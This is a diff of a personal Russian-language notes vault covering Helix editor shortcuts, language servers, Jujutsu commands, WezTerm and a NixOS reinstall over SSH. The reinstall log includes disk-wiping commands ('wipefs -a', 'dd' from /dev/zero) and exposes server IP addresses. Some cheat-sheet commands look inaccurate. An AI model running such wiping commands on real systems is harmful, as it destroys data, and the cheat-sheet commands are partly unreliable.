`1. Встал на функцию → gd (перешёл к определению) 2. Посмотрел типы → gy (перешёл к type definition) 3. Хочу вернуться → Ctrl+o (назад к вызову) 4. Хочу посмотреть все вызовы → gr (список references) 5. Выбрал другой вызов → Enter 6. Возвращаюсь к первому → Space+j (jumplist picker)`
**Сценарий 2: Рефакторинг**
text
`1. Встал на функцию → gr (показать все вызовы) 2. Перешёл к первому → Enter 3. Сделал правки → Ctrl+s (сохранил позицию в jumplist) 4. Следующий вызов → выбрал из picker 5. Вернулся к предыдущему → Ctrl+o`
**Сценарий 3: Исследование трейтов**
text
`1. Встал на трейт → gy (type definition) 2. Хочу увидеть реализации → gi (implementations) 3. Picker показал все impl блоки → выбираю нужный 4. Возврат → Ctrl+o`
## Горячие клавиши для закладок (опционально)
Если хочешь быстро прыгать между важными местами, используй **marks** (закладки):[helix-editor](https://docs.helix-editor.com/remapping.html)
- **m** затем **буква** — установить закладку (например, `ma` для закладки 'a')
- **` ** (backtick) затем **буква** — перейти к закладке (например, `` ` a``)
Это полезно для долгой работы над одним участком кода.[helix-editor](https://docs.helix-editor.com/remapping.html)
1. [https://docs.helix-editor.com/keymap.html](https://docs.helix-editor.com/keymap.html)
2. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html)
3. [https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)
4. [https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/](https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/)
5. [https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
6. [https://docs.helix-editor.com/master/jumplist.html](https://docs.helix-editor.com/master/jumplist.html)
7. [https://www.youtube.com/watch?v=B3vQDHzsU0g](https://www.youtube.com/watch?v=B3vQDHzsU0g)
8. [https://docs.helix-editor.com/remapping.html](https://docs.helix-editor.com/remapping.html)
9. [https://github.com/helix-editor/helix/issues/3167](https://github.com/helix-editor/helix/issues/3167)
10. [https://zed.dev/docs/key-bindings](https://zed.dev/docs/key-bindings)
В Helix для удаления строки используется **двухнажатийная комбинация** (не одна клавиша, как в некоторых редакторах):
## Основная команда
**x d**
- **x** — выделить текущую строку целиком
- **d** — удалить выделение
Это самый быстрый и стандартный способ в Helix.[](https://pikabu.ru/story/osnovyi_helix_mini_gayd_13142410)
## Удаление нескольких строк
Если нужно удалить несколько строк подряд:
- **5x d** — удалить 5 строк (начиная с текущей вниз)
- **x 3k d** — выделить строку, расширить на 3 строки вверх, удалить
## Удаление и переход в режим вставки
**x c** — удалить строку и сразу войти в insert mode (аналог vim's `cc`)
shift + A - это сразу войти в режим i

View file

@ -0,0 +1,95 @@
Отлично! Держи полный список **ключевых LSP** для всех основных языков — это всё, что нужно для профессиональной разработки в Helix.[helix-editor+1](https://docs.helix-editor.com/lang-support.html)
---
## 🦀 Systems Programming
text
```
# Rust rust-analyzer # Официальный LSP от Rust Foundation # C/C++ clangd # LLVM-based LSP (рекомендуется) # или ccls # Альтернатива clangd # Zig zls # Официальный Zig Language Server # Go gopls # Официальный LSP от Google # D serve-d # D Language Server
```
---
## 🌐 Web Development
text
`# JavaScript/TypeScript nodePackages.typescript-language-server # или nodePackages.vscode-langservers-extracted # HTML/CSS/JSON тоже # Deno (альтернатива Node) deno # Deno встроенный LSP # Vue.js nodePackages.volar # Vue 3 LSP # Svelte nodePackages.svelte-language-server # Tailwind CSS nodePackages."@tailwindcss/language-server"`
---
## 🐍 Scripting Languages
text
`# Python python3Packages.python-lsp-server # pylsp (рекомендуется) # или pyright # Microsoft LSP (быстрее) # или basedpyright # Fork pyright # Ruby solargraph # Ruby LSP # Lua lua-language-server # sumneko_lua # Perl perlnavigator # Perl LSP`
---
## ⚙️ DevOps & Config
text
`# Nix nil # Nix LSP (рекомендуется) # или nixd # Альтернатива с лучшей поддержкой flakes # YAML nodePackages.yaml-language-server # TOML taplo # Taplo LSP # JSON nodePackages.vscode-json-languageserver # Terraform terraform-ls # HashiCorp Terraform LSP # Docker nodePackages.dockerfile-language-server-nodejs # Ansible ansible-language-server`
---
## 🎨 Functional & Academic
text
`# Haskell haskell-language-server # HLS # OCaml ocamlPackages.ocaml-lsp # ocamllsp # Elixir elixir-ls # Elixir Language Server # Erlang erlang-ls # Erlang LS # Clojure clojure-lsp # Clojure LSP # Racket racket-langserver # Racket LS # PureScript nodePackages.purescript-language-server`
---
## 🏢 Enterprise & JVM
text
`# Java jdt-language-server # Eclipse JDT # Kotlin kotlin-language-server # Scala metals # Scalameta LSP # Groovy groovy-language-server`
---
## 📝 Markup & Data
text
`# Markdown marksman # Markdown LSP # LaTeX texlab # LaTeX LSP # GraphQL nodePackages.graphql-language-service-cli # Protobuf buf-language-server # Protobuf LSP`
---
## 🔥 Special Mention
text
`# Helix-GPT (AI completion) helix-gpt # OpenAI/Copilot в Helix # Emmet (HTML/CSS snippets) emmet-ls # Emmet expansion`
---
## 📋 Для копирования в Obsidian
text
``# Language Servers для Helix ## Systems - `rust-analyzer` — Rust - `clangd` — C/C++ - `zls` — Zig - `gopls` — Go ## Web - `typescript-language-server` — JS/TS - `vscode-langservers-extracted` — HTML/CSS/JSON - `volar` — Vue.js - `svelte-language-server` — Svelte - `@tailwindcss/language-server` — Tailwind ## Scripting - `python-lsp-server` — Python (или `pyright`) - `solargraph` — Ruby - `lua-language-server` — Lua ## DevOps - `nil` — Nix (или `nixd`) - `yaml-language-server` — YAML - `taplo` — TOML - `terraform-ls` — Terraform - `dockerfile-language-server` — Docker ## Functional - `haskell-language-server` — Haskell - `ocaml-lsp` — OCaml - `elixir-ls` — Elixir - `clojure-lsp` — Clojure ## JVM - `jdt-language-server` — Java - `kotlin-language-server` — Kotlin - `metals` — Scala ## Markup - `marksman` — Markdown - `texlab` — LaTeX - `graphql-language-service-cli` — GraphQL ## Bonus - `helix-gpt` — AI completion (OpenAI/Copilot) - `emmet-ls` — HTML/CSS snippets``
---
## Проверка установленных LSP
bash
`hx --health`
Покажет, какие LSP найдены и работают.[github+1](https://github.com/helix-editor/helix/discussions/7067)
1. [https://docs.helix-editor.com/lang-support.html](https://docs.helix-editor.com/lang-support.html)
2. [https://langserver.org](https://langserver.org)
3. [https://github.com/helix-editor/helix/discussions/7067](https://github.com/helix-editor/helix/discussions/7067)
4. [https://discourse.nixos.org/t/helix-lsp-servers/34833](https://discourse.nixos.org/t/helix-lsp-servers/34833)
5. [https://github.com/helix-editor/helix/discussions/8474](https://github.com/helix-editor/helix/discussions/8474)
6. [https://www.reddit.com/r/NixOS/comments/1gu5q3q/what_lsp_do_you_use/](https://www.reddit.com/r/NixOS/comments/1gu5q3q/what_lsp_do_you_use/)
7. [https://en.wikipedia.org/wiki/Language_Server_Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol)
8. [https://docs.codelite.org/plugins/lsp/](https://docs.codelite.org/plugins/lsp/)
9. [https://mynixos.com/nixpkgs/package/helix-gpt](https://mynixos.com/nixpkgs/package/helix-gpt)
10. [https://github.com/isaacphi/mcp-language-server](https://github.com/isaacphi/mcp-language-server)

View file

@ -0,0 +1 @@
![[Pasted image 20251115162400.png]]

View file

@ -0,0 +1,46 @@
| Действие | Команда |
| ---------------------------------- | --------------------- |
| Войти в режим выделения | v |
| Расширить выделение вниз (колонка) | Shift-CилиAlt-Shift-C |
| Войти в мультикурсорный ввод | I(заглавная) |
| Ввести текст одновременно | Печатать текст |
| Выйти из мультикурсорного режима | Esc |
| Добавить курсор ниже | C |
| Удалить дополнительные курсоры | , |
| Оставить один курсор (удалить все) | ; |
| Задача | Команда |
| ----------------------------- | ------- |
| Добавить курсор вниз | C |
| Добавить курсор вниз n строк | nC |
| Добавить курсор вверх | Alt-C |
| Добавить курсор вверх n строк | nAlt-C |
| Действие | Команда |
| ------------------------------------------- | ------- |
| Добавить курсор вниз | C |
| Добавить курсор вверх | Alt-C |
| Добавить курсор вниз n строк | nC |
| Добавить курсор вверх n строк | nAlt-C |
| Удалить все дополнительные курсоры | , |
| Начать выделение | v |
| Расширить выделение движением | h/j/k/l |
| Расширить выделение n строк вниз | nj |
| Расширить выделение n строк вверх | nk |
|Действие|Команда|
|---|---|
|Войти в visual mode|v|
|Расширить выделение вниз|j|
|Расширить выделение вверх|k|
|Переключить курсор и anchor|Alt-;|
|Удалить все доп. курсоры|,|
|Collapse selection|;|
|Добавить курсор вниз|C|
|Добавить курсор вверх|Alt-C|
| Действие | Команда / Клавиши | Описание |
| ---------------------------------- | -------------------------------- | --------------------------------------------------- |
| Переключение каретки в выделении | Alt + ; | Поменять активный конец (каретку) выделения |
| Замена всех вхождений по паттерну | %→s→{pattern}→Enter→c→{new text} | Выделить весь файл, найти по паттерну, заменить все |
| Логи нажатий (для проверки клавиш) | :log-open | Открыть лог нажатий клавиш для диагностики |

View file

@ -0,0 +1,90 @@
# Jujutsu: Применение исправлений из stable во все ветки
Да, **Jujutsu** (`jj`) отлично справляется с этим workflow и делает его **проще**, чем в Git, благодаря своей архитектуре. Вот как это работает:
## Подход Jujutsu
Jujutsu не требует «переключения веток» в классическом понимании Git, потому что использует модель **working-copy-as-commit**. Вы можете редактировать любой коммит в репозитории напрямую без `checkout`.
## Workflow в `jj`
### Шаг 1: Во время разработки feature обнаружили баг в `stable`
Не нужно делать `stash` или коммитить незавершённую работу. Просто:
```bash
# Редактируем коммит в stable напрямую
jj edit <stable-commit-id>
# ИЛИ создаем новый коммит поверх stable
jj new stable
```
### Шаг 2: Делаем исправление
Вносим необходимые изменения (багфикс, оптимизация, рефакторинг). Эти изменения получают уникальный **change ID**, который сохраняется между ветками.
### Шаг 3: Применяем фикс ко всем нужным веткам
Здесь `jj` раскрывается во всей красе. Два основных подхода:
#### Вариант A: Rebase-based propagation
```bash
# Rebase feature веток на обновлённый stable
jj rebase -b feature-branch -d stable
jj rebase -b another-feature -d stable
```
#### Вариант B: Cherry-pick стиль (дублирование + rebase)
```bash
# Дублируем change с фиксом и rebase на каждую ветку
jj duplicate <fix-change-id>
jj rebase -r <duplicated-change-id> -d feature-branch
```
### Шаг 4: Селективное применение через revsets
Для исключения deprecated веток используем мощный язык **revset** в `jj`:
```bash
# Применяем ко всем веткам кроме deprecated
jj rebase -b 'branches() & ~(branches(glob:"deprecated*") | branches("old-feature"))'
```
## Ключевые преимущества `jj` для этого workflow
- **Без загрязнения рабочей директории**: Ваше текущее состояние разработки `feature` остаётся нетронутым, пока вы работаете над фиксом в `stable`.
- **Change IDs отслеживаются между ветками**: Одно и то же логическое изменение сохраняет свою идентичность при rebase или дублировании, что упрощает отслеживание применения фикса.
- **Автоматическое разрешение конфликтов**: При rebase нескольких веток с фиксом `jj` помогает выявлять и разрешать конфликты инкрементально.
- **Нет "detached HEAD" состояний**: В отличие от Git, вы можете свободно навигировать и редактировать любой коммит без риска потерять работу.
## Практический пример
```bash
# 1. Сейчас работаем над feature
jj log
# 2. Создаём фикс на stable
jj new stable -m "Fix critical bug in validation"
# Вносим изменения
jj commit
# 3. Получаем change ID вашего фикса
FIX_ID=$(jj log -r @ --no-graph -T 'change_id')
# 4. Rebase всех активных feature веток
jj rebase -b 'branches() & ~branches(glob:"deprecated*")' -d stable
# 5. Возвращаемся к работе над feature
jj edit feature
```
## Важные моменты
- **Разрешение конфликтов**: Если ваш фикс в `stable` конфликтует с изменениями в `feature`-ветках, `jj` создаст conflict markers, которые нужно будет разрешить для каждой ветки.
- **Принцип upstream-first**: Как и в GitLab Flow, всегда исправляйте сначала в самой upstream-ветке (`stable`), затем распространяйте downstream.
- **Состояние working copy**: После операций используйте `jj status`, чтобы увидеть, к какому коммиту привязана рабочая копия, и `jj edit <branch>` для возврата к работе над `feature`.
> Да, `jj` абсолютно поддерживает этот workflow и делает его более эргономичным, чем Git, устраняя накладные расходы на переключение контекста и предоставляя мощные revset-запросы для селективных операций с ветками.

209
10-linux/00-utils/jj/jj.md Normal file
View file

@ -0,0 +1,209 @@
Вот приведённый в порядок Markdown файл:
***
# 📚 Шпаргалка по Jujutsu (jj)
## Основные концепции
**jj** — это система контроля версий, которая отличается от Git философией. Вместо веток используются **bookmarks** (закладки), вместо staging area — автоматическое отслеживание.
| Концепция | Описание |
|-----------|---------|
| `@` | Текущий рабочий коммит (working copy) |
| `@-` | Родитель текущего коммита |
| Bookmark | Закладка на коммит (аналог Git ветви) |
| DAG | Направленный ациклический граф — вся история видна одновременно |
## Базовые команды
```bash
# Инициализация
jj git init # Инициализировать jj в Git репозитории
# Просмотр истории
jj log # Показать историю
jj log --graph # С визуализацией
jj log --graph --all # Вся история со всеми ветками
jj status # Статус текущего коммита
# Создание коммитов
jj new # Создать новый коммит на основе текущего
jj new -m "description" # С описанием
jj new COMMIT_ID # Создать коммит на основе конкретного
# Редактирование
jj edit COMMIT_ID # "Включить" коммит для редактирования
jj describe -m "new message" # Изменить описание текущего коммита
jj new HEAD # Создать коммит от HEAD
```
## Работа с закладками
```bash
# Создание и удаление
jj bookmark create branch-name # Создать закладку на текущий коммит
jj bookmark create branch-name -r COMMIT_ID # На конкретный коммит
jj bookmark delete branch-name # Удалить закладку
jj bookmark list # Список всех закладок
# Перемещение закладок
jj bookmark set main -r COMMIT_ID # Переместить main на коммит
jj bookmark set main -r ready # Переместить на bookmark ready
# Отслеживание удалённых закладок
jj bookmark track main@origin # Импортировать удалённую закладку
```
## Слияние и перебазирование
```bash
# Rebase (перебазирование)
jj rebase -r @ -d main # Перебазировать текущий коммит на main
jj rebase -b ready -d main # Перебазировать ветку ready на main
# Squash (объединение коммитов)
jj squash -r @ # Объединить текущий коммит с родителем
jj squash -r COMMIT_ID # Объединить конкретный коммит с его родителем
# Abandon (удаление коммита)
jj abandon COMMIT_ID # Удалить коммит (но файлы останутся в @)
```
## Git интеграция
```bash
# Экспорт и импорт
jj git export # Синхронизировать jj с Git
jj git import # Импортировать Git ветки в jj
# Push и Pull
jj git push # Запушить все изменения
jj git push -b main # Запушить только bookmark main
jj git pull # Потянуть изменения с удалённого
# Работа с Git напрямую
git checkout main # Обычные Git команды работают!
git merge BRANCH
git push origin main
```
## Разрешение конфликтов
```bash
# При конфликтах во время rebase
jj resolve # Разрешить конфликты
jj resolve --tool=union # С объединением (берёт всё)
jj diff # Посмотреть различия
# После редактирования файлов вручную
jj resolve # Отметить конфликт разрешённым
jj squash -r @ # Переместить разрешение в основной коммит
```
## Типичные workflow'ы
### Создать и слить новую ветку в main
```bash
# Посмотреть состояние
jj log --graph
# Создать новый коммит
jj new -m "feature: add something"
# Работать над коммитом (файлы отслеживаются автоматически)
# Создать закладку
jj bookmark create feature-branch
# Перебазировать на main
jj rebase -r @ -d main
# Обновить main
jj bookmark set main -r @
# Запушить
jj git push -b main
```
### Слить ветку `ready` в `main` с приоритетом ready
```bash
# Перебазировать main на ready
jj rebase -b main -d ready
# Обновить main bookmark
jj bookmark set main -r ready
# Запушить
jj git push -b main
```
### Вернуться к старому коммиту и что-то изменить
```bash
# Посмотреть историю
jj log --graph --all
# "Включить" старый коммит для редактирования
jj edit OLD_COMMIT_ID
# Делать изменения (они автоматически добавятся в текущий коммит)
# Посмотреть что изменилось
jj diff
# Если нужно разветвить от этого коммита
jj new -m "new branch from old commit"
```
## Полезные флаги и опции
```bash
# Смотреть только свои коммиты
jj log -r "author(myemail)"
# Смотреть коммиты с конкретным текстом
jj log -r "description(disko)"
# Операции с конкретным range
jj log -r "main..@" # Коммиты от main до текущего
# Отмена последней операции
jj undo
# Помощь по команде
jj new --help
```
## Когда использовать Git вместо jj
Если что-то сложное происходит, всегда можешь вернуться к Git:
```bash
# Экспортировать текущее состояние в Git
jj git export
# Теперь используй обычные Git команды
git log --oneline
git merge origin/main
git push
```
Git интеграция в jj позволяет работать гибридно!
***
**Основные улучшения:**
- Убрал лишние пустые строки между блоками кода
- Выровнял таблицу по стандартам Markdown
- Переорганизовал структуру: основные концепции → команды → workflow'ы
- Унифицировал комментарии в блоках кода (выравнивание и стиль)
- Добавил подзаголовки (###) для workflow'ов вместо жирного текста
- Упростил финальный абзац
***
Готово к добавлению в Obsidian! 🚀

View file

@ -0,0 +1,70 @@
## Как это работает
## 1. **Copy Mode** (аналог Helix selection/view mode)
**Вход:**[](https://dev.to/lovelindhoni/make-wezterm-mimic-tmux-5893)
- **Ctrl+Shift+X** — войти в Copy Mode
- Или настрой LEADER (например, **Ctrl+Space**, затем **Space**)
**Движение (как в Helix):**[](https://github.com/wez/wezterm/issues/4471)
- `h/j/k/l` — стрелки
- `w/b/e` — прыжки по словам
- `0/$` — начало/конец строки
- `g/G` — начало/конец файла
- `Ctrl-d/u` — полстраницы вниз/вверх
- `Ctrl-f/b` — страница вниз/вверх
**Выделение:**[](https://github.com/wezterm/wezterm/issues/993)
- `v` → char-wise selection (как в Helix)
- `V` → line-wise selection
- `Ctrl-v` → block selection
**Копирование:**[](https://github.com/wezterm/wezterm/issues/993)
- `y` → скопировать и выйти (как в Helix/Vim)
**Выход:**
- `Escape` или `q` или `Ctrl-c`
## 2. **QuickSelect** (аналог Helix multiple cursors)
**Вход:**[](https://dev.to/burnskp/wezterm-quickselect-51gh)
- **LEADER+f** (если настроил LEADER)
**Что делает:**
- Показывает **label'ы** на всех совпадениях regex паттернов[](https://dev.to/burnskp/wezterm-quickselect-51gh)
-
- Печатаешь label → выделяется и копируется

View file

@ -0,0 +1 @@
Типичные компоненты ядра — обработчики прерываний, которые обслуживают запросы на прерывания, поступающие от различных устройств, планировщик, распределяющий процессорное время между многими процессами, система управления памятью, которая управляет адресным пространством процессов, и системные службы, такие как сетевая подсистема и подсистема межпроцессного взаимодействия.

View file

@ -0,0 +1,153 @@
ssh root@64.188.70.209
Last login: Sun Nov 2 16:29:35 2025 from 46.39.249.16
[root@nixos-installer:~]# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 316.2M 0 loop /nix/.ro-store
loop1 7:1 0 36K 1 loop /run/nixos-etc-metadata
sr0 11:0 1 1024M 0 rom
vda 253:0 0 20G 0 disk
├─vda1 253:1 0 19G 0 part
├─vda2 253:2 0 1K 0 part
└─vda5 253:5 0 975M 0 part
[root@nixos-installer:~]# wipefs -a /dev/vda
[root@nixos-installer:~]# dd if=/dev/zero of=/dev/vda bs=512 count=4096
4096+0 records in
4096+0 records out
2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.0750978 s, 27.9 MB/s
[root@nixos-installer:~]# partprobe /dev/vda
[root@nixos-installer:~]# parted /dev/vda
GNU Parted 3.6
Using /dev/vda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) mklabel gpt
(parted) unit s
(parted) mkpart primary 2048s 4095s
(parted) set 1 bios_grub on
(parted) mkpart primary 4096s 100%
(parted) quit
Information: You may need to update /etc/fstab.
[root@nixos-installer:~]# mkfs.ext4 /dev/vda2
mke2fs 1.47.2 (1-Jan-2025)
Creating filesystem with 5242112 4k blocks and 1310720 inodes
Filesystem UUID: b209859d-d8c0-4552-a1cf-a81f4f8b3cdc
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
[root@nixos-installer:~]# mount /dev/vda2 /mnt
[root@nixos-installer:~]# ^C
[root@nixos-installer:~]# mkdir -p /mnt/boot
[root@nixos-installer:~]# mkdir -p /mnt/dev /mnt/proc /mnt/sys /mnt/run
[root@nixos-installer:~]# mount --bind /dev /mnt/dev
[root@nixos-installer:~]# mount --bind /proc /mnt/proc
[root@nixos-installer:~]# mount --bind /sys /mnt/sys
[root@nixos-installer:~]# mount --bind /run /mnt/run
[root@nixos-installer:~]# ls network/
addrs.json routes-v4.json routes-v6.json
[root@nixos-installer:~]# cd network/
[root@nixos-installer:~/network]# cat addrs.json routes-v4.json routes-v6.json
[{"ifindex":1,"ifname":"lo","flags":["LOOPBACK","UP","LOWER_UP"],"mtu":65536,"qdisc":"noqueue","operstate":"UNKNOWN","group":"default","txqlen":1000,"link_type":"loopback","address":"00:00:00:00:00:00","broadcast":"00:00:00:00:00:00","addr_info":[{"family":"inet","local":"127.0.0.1","prefixlen":8,"scope":"host","label":"lo","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"::1","prefixlen":128,"scope":"host","noprefixroute":true,"valid_life_time":4294967295,"preferred_life_time":4294967295}]},{"ifindex":2,"ifname":"ens3","flags":["BROADCAST","MULTICAST","UP","LOWER_UP"],"mtu":1500,"qdisc":"fq","operstate":"UP","group":"default","txqlen":1000,"link_type":"ether","address":"52:54:00:07:9e:d3","broadcast":"ff:ff:ff:ff:ff:ff","altnames":["enp0s3"],"addr_info":[{"family":"inet","local":"64.188.70.209","prefixlen":32,"broadcast":"64.188.70.209","scope":"global","label":"ens3","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"2a12:bec4:1bb0:de5::2","prefixlen":64,"scope":"global","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"fe80::5054:ff:fe07:9ed3","prefixlen":64,"scope":"link","protocol":"kernel_ll","valid_life_time":4294967295,"preferred_life_time":4294967295}]}]
[{"dst":"default","gateway":"10.0.0.1","dev":"ens3","flags":["onlink"]}]
[{"dst":"2a12:bec4:1bb0:de5::/64","dev":"ens3","protocol":"kernel","metric":256,"flags":[],"pref":"medium"},{"dst":"fe80::/64","dev":"ens3","protocol":"kernel","metric":256,"flags":[],"pref":"medium"},{"dst":"default","gateway":"2a12:bec4:1bb0:de5::1","dev":"ens3","metric":1024,"flags":["onlink"],"pref":"medium"}]
[root@nixos-installer:~/network]# cd ..
[root@nixos-installer:~]# ls /etc/nix
nix/ nixos/
[root@nixos-installer:~]# ls /etc/nix
nix/ nixos/
[root@nixos-installer:~]# ls /etc/nixos/
configuration.nix nix-server
[root@nixos-installer:~]# cd nix-server
-bash: cd: nix-server: No such file or directory
[root@nixos-installer:~]# ls /etc/nixos/nix-server/
client-config.json.example flake.nix project.md
client-vless-link.txt ginpee.toml README.md
configuration.nix hardware-configuration.nix server-vars.nix
deploy.sh modules setup-proxy-profile.py
flake.lock networking.nix
[root@nixos-installer:~]# cd /etc/nixos/nix-server/
[root@nixos-installer:/etc/nixos/nix-server]# nix flake check
warning: Git tree '/etc/nixos/nix-server' is dirty
error:
… while checking flake output 'nixosConfigurations'
at /nix/store/k1m4qlhi23jbbsdv1sf9z8y85pasgxxa-source/flake.nix:18:7:
17| {
18| nixosConfigurations.server = nixpkgs.lib.nixosSystem {
| ^
19| system = "x86_64-linux";
… while checking the NixOS configuration 'nixosConfigurations.server'
at /nix/store/k1m4qlhi23jbbsdv1sf9z8y85pasgxxa-source/flake.nix:18:7:
17| {
18| nixosConfigurations.server = nixpkgs.lib.nixosSystem {
| ^
19| system = "x86_64-linux";
… while evaluating the option `system.build.toplevel':
… while evaluating definitions from `/nix/store/xjjq52iwslhz6lbc621a31v0nfdhr5ks-source/nixos/modules/system/activation/top-level.nix':
(stack trace truncated; use '--show-trace' to show the full, detailed trace)
error:
Failed assertions:
- The fileSystems option does not specify your root file system.
- You must set the option boot.loader.grub.devices or 'boot.loader.grub.mirroredBoots' to make the system bootable.
[root@nixos-installer:/etc/nixos/nix-server]# nano hardware-configuration.nix
-bash: nano: command not found
[root@nixos-installer:/etc/nixos/nix-server]# nix-shell -p vim
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels/nixos' does not exist, ignoring
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring
error:
… while calling the 'import' builtin
at «string»:1:18:
1| {...}@args: with import <nixpkgs> args; (pkgs.runCommandCC or pkgs.runCommand) "shell" { buildInputs = [ (vim) ]; } ""
| ^
… while realising the context of a path
… while calling the 'findFile' builtin
at «string»:1:25:
1| {...}@args: with import <nixpkgs> args; (pkgs.runCommandCC or pkgs.runCommand) "shell" { buildInputs = [ (vim) ]; } ""
| ^
error: file 'nixpkgs' was not found in the Nix search path (add it using $NIX_PATH or -I)
[root@nixos-installer:/etc/nixos/nix-server]# vim hardware-configuration.nix
-bash: vim: command not found
[root@nixos-installer:/etc/nixos/nix-server]# nix flake check
warning: Git tree '/etc/nixos/nix-server' is dirty
checking NixOS configuration 'nixosConfigurations.server'^C

View file

@ -0,0 +1,193 @@
Here is your content rewritten as a clean, well-formatted Markdown file suitable for pasting into Obsidian:
```md
# Development Workflow: Nix + Docker + Helix
Excellent question! You're thinking about the complete development workflow. Below is a clear guide to using your Nix development environment alongside a Docker test container—fully integrated with Helix.
---
## Environment Strategy: Nix vs Docker
### Nix Development Environment (`nix develop`)
- **Purpose**: Where you write, edit, and lint your code
- **Location**: Your NixOS host system
- **Editor**: Helix runs here, with access to `bash-language-server` and `shellcheck`
- **Benefits**: Fast iteration, immediate feedback, native performance
### Docker Test Container
- **Purpose**: Validate that your scripts work on **Ubuntu 20.04** (the assignments target OS)
- **Location**: Isolated container mimicking the specified environment
- **Usage**: Run scripts to ensure portability and compliance
- **Benefits**: Guarantees compatibility with the assignment requirements
---
## Dockerfile for Ubuntu 20.04 Testing
Place this `Dockerfile` in your project root (`DO4_LinuxMonitoring_v2.0.ID_356280-1/`):
```dockerfile
# Dockerfile
FROM ubuntu:20.04
# Prevent interactive prompts during package installation
ENV DEBIAN_FRONTEND=noninteractive
# Update package list and install essential tools
RUN apt-get update && apt-get install -y \
bash \
coreutils \
gawk \
findutils \
util-linux \
&& rm -rf /var/lib/apt/lists/*
# Create a non-root user for safer script execution
RUN useradd -ms /bin/bash appuser
USER appuser
# Set working directory
WORKDIR /app
# Default to bash shell for interactive testing
CMD ["/bin/bash"]
```
---
## Building and Running the Test Container
```bash
# From project root (where Dockerfile is located)
docker build -t linux-monitoring-test .
# Run container and mount your task directories
docker run --rm -it -v "$(pwd)/src:/app/src" linux-monitoring-test
# Inside the container (as 'appuser' on Ubuntu 20.04):
cd /app/src/01
bash main.sh /tmp/monitor_test 4 az 5 az.az 3kb
# Exit when done
exit
```
---
## Helix Configuration for Optimal Workflow
Create a project-specific Helix configuration in your project root:
```bash
mkdir -p .helix
```
### `.helix/languages.toml`
```toml
# Project-specific Helix configuration
[[language]]
name = "bash"
scope = "source.bash"
file-types = ["sh", "bash"]
shebangs = ["sh", "bash"]
roots = []
comment-token = "#"
language-servers = [ "bash-language-server" ]
auto-format = false # Keep as false; formatting can break script logic
[language-server.bash-language-server]
command = "bash-language-server"
args = ["start"]
# Configure ShellCheck for linting
[language.bash.config]
shellcheck = { enable = true, severity = "warning" }
# Key mappings for this project
[keys.normal]
# Quick save and run current script
"A-r" = ":w<ret>:sh bash %<ret>"
# Run shellcheck on current file
"A-c" = ":sh shellcheck %<ret>"
```
> 💡 **Note**: Place this file at `DO4_LinuxMonitoring_v2.0.ID_356280-1/.helix/languages.toml`.
---
## Recommended Workflow
### Development Cycle (in Nix environment)
1. **Enter dev environment**:
```bash
nix develop
```
2. **Open Helix**:
```bash
cd src/01 && helix main.sh
```
3. **Edit code**: ShellCheck provides real-time inline linting.
4. **Quick test**: Press `Alt+r` in Helix to save and run the current script.
5. **Lint manually**: Press `Alt+c` to run ShellCheck in the terminal.
### Validation Cycle (in Docker)
1. **Build the container**:
```bash
docker build -t linux-monitoring-test .
```
2. **Run with volume mount**:
```bash
docker run --rm -it -v "$(pwd)/src:/app/src" linux-monitoring-test
```
3. **Inside the container**:
```bash
cd /app/src/01 && bash main.sh /tmp/test 4 az 5 az.az 3kb
```
4. **Verify**: Ensure `generator.log` is created and contains expected output.
---
## Integration with ShellCheck
ShellCheck is already included in your `flake.nix` and will lint automatically in Helix. To run it manually:
```bash
# Lint a single file
shellcheck src/01/main.sh
# Lint all bash scripts
find src -name "*.sh" -exec shellcheck {} \;
```
---
## End-to-End Test for Part 1
```bash
# 1. Develop in Nix/Helix
nix develop
cd src/01
helix main.sh # Edit and save
# 2. Quick test in Nix
bash main.sh /tmp/monitor_test 4 az 5 az.az 3kb
ls -la /tmp/monitor_test/
cat generator.log
# 3. Full validation in Docker
docker run --rm -it -v "$(pwd):/app" linux-monitoring-test
# Inside container:
cd /app/src/01
bash main.sh /tmp/test 4 az 5 az.az 3kb
# Confirm identical behavior on Ubuntu 20.04
```
---
This workflow gives you the best of both worlds:
- **Fast, responsive development** with Nix + Helix + ShellCheck
- **Guaranteed compatibility** via Docker testing against the exact target OS
```

View file

@ -0,0 +1,73 @@
## Как компилировались самые первые ядра операционных систем
**Ключевой момент:** До Linux было множество операционных систем, и все они встали перед одной и той же проблемой bootstrap.
---
## Цепочка: От машинного кода до Multics и Unix
## Самое начало (1940s-1950s): Машинный код вручную
Первые компьютеры (ENIAC, EDSAC) **не программировались в привычном смысле**. Они либо перепроводились вручную (ENIAC), либо использовались прямые переключатели и перфокарты. Программы писались в **чистом машинном коде в двоичной или шестнадцатеричной форме**, и люди вручную рассчитывали адреса ветвлений.[reddit+1](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
Это был настоящий ад: один из программистов того времени вспоминал, как писал монитор для ROM, записывая **hex-коды вручную в тетрадь**.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
## 1950s: Ассемблеры и первые компиляторы
Затем появились **ассемблеры** — программы, которые переводят мнемоничные инструкции (MOVE, ADD) в машинный код. Первые ассемблеры были написаны **вручную в машинном коде**.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)
